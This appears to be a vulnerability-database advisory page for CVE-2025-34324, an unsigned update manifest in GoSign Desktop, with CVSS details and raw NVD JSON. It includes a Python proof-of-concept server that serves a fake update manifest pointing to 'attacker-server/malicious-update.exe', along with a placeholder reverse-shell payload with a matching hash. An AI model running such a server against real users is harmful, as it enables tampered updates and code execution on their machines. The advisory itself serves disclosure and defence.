Security Vulnerability Report
中文
CVE-2025-34324 CVSS 7.8 HIGH

CVE-2025-34324

Published: 2025-11-18 17:16:01
Last Modified: 2025-12-31 02:19:34

Description

GoSign Desktop versions 2.4.0 and earlier use an unsigned update manifest for distributing application updates. The manifest contains package URLs and SHA-256 hashes but is not digitally signed, so its authenticity relies solely on the underlying TLS channel. In affected versions, TLS certificate validation can be disabled when a proxy is configured, allowing an attacker who can intercept network traffic to supply a malicious update manifest and corresponding package with a matching hash. This can cause the client to download and install a tampered update, resulting in arbitrary code execution with the privileges of the GoSign Desktop user on Windows and macOS, or with elevated privileges on some Linux deployments. A local attacker who can modify proxy settings may also abuse this behavior to escalate privileges by forcing installation of a crafted update.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:infocert:gosign:*:*:*:*:*:*:*:* - VULNERABLE
GoSign Desktop <= 2.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-34324 PoC - Malicious Update Manifest Injection # This PoC demonstrates the concept of exploiting the insecure update mechanism # Requires: mitmproxy, Python 3.x, ability to perform MITM attack import http.server import hashlib import os # Generate malicious payload def generate_malicious_payload(): """Generate a malicious executable payload""" # This would be the actual malicious code to execute malicious_code = b'MZ' + b'\x00' * 100 + b'REVERSE_SHELL_PAYLOAD' return malicious_code # Calculate SHA-256 hash of payload def calculate_hash(data): """Calculate SHA-256 hash matching the format expected by GoSign""" return hashlib.sha256(data).hexdigest() # Generate malicious update manifest def generate_malicious_manifest(payload_hash): """Generate fake update manifest with legitimate-looking hash""" manifest = f""" {{ "version": "2.4.1", "packages": [ {{ "name": "GoSign Desktop Update", "url": "http://attacker-server/malicious-update.exe", "sha256": "{payload_hash}", "platform": "windows" }} ], "release_date": "2025-11-15", "release_notes": "Critical security update" }} """ return manifest # HTTP server to serve malicious update class MaliciousUpdateHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): if '/update-manifest.json' in self.path: payload = generate_malicious_payload() payload_hash = calculate_hash(payload) manifest = generate_malicious_manifest(payload_hash) self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() self.wfile.write(manifest.encode()) elif '/malicious-update.exe' in self.path: payload = generate_malicious_payload() self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.end_headers() self.wfile.write(payload) else: self.send_response(404) self.end_headers() if __name__ == '__main__': print('[+] CVE-2025-34324 PoC Server') print('[+] Serving malicious update manifest and payload') server = http.server.HTTPServer(('0.0.0.0', 8080), MaliciousUpdateHandler) server.serve_forever()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34324", "sourceIdentifier": "[email protected]", "published": "2025-11-18T17:16:00.923", "lastModified": "2025-12-31T02:19:33.927", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GoSign Desktop versions 2.4.0 and earlier use an unsigned update manifest for distributing application updates. The manifest contains package URLs and SHA-256 hashes but is not digitally signed, so its authenticity relies solely on the underlying TLS channel. In affected versions, TLS certificate validation can be disabled when a proxy is configured, allowing an attacker who can intercept network traffic to supply a malicious update manifest and corresponding package with a matching hash. This can cause the client to download and install a tampered update, resulting in arbitrary code execution with the privileges of the GoSign Desktop user on Windows and macOS, or with elevated privileges on some Linux deployments. A local attacker who can modify proxy settings may also abuse this behavior to escalate privileges by forcing installation of a crafted update."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:infocert:gosign:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.1", "matchCriteriaId": "D2FBEC2B-9A8C-4C70-A2D2-232DB7D8D059"}]}]}], "references": [{"url": "https://infocert.digital/consumer/gosign-suite/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.ush.it/2025/11/14/multiple-vulnerabilities-gosign-desktop-remote-code-execution/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.ush.it/2025/11/14/vulnerabilita-multiple-gosign-desktop-esecuzione-remota-codice-arbitrario/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/gosign-desktop-insecure-update-mechanism-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.ush.it/2025/11/14/multiple-vulnerabilities-gosign-desktop-remote-code-execution/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.ush.it/2025/11/14/vulnerabilita-multiple-gosign-desktop-esecuzione-remota-codice-arbitrario/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}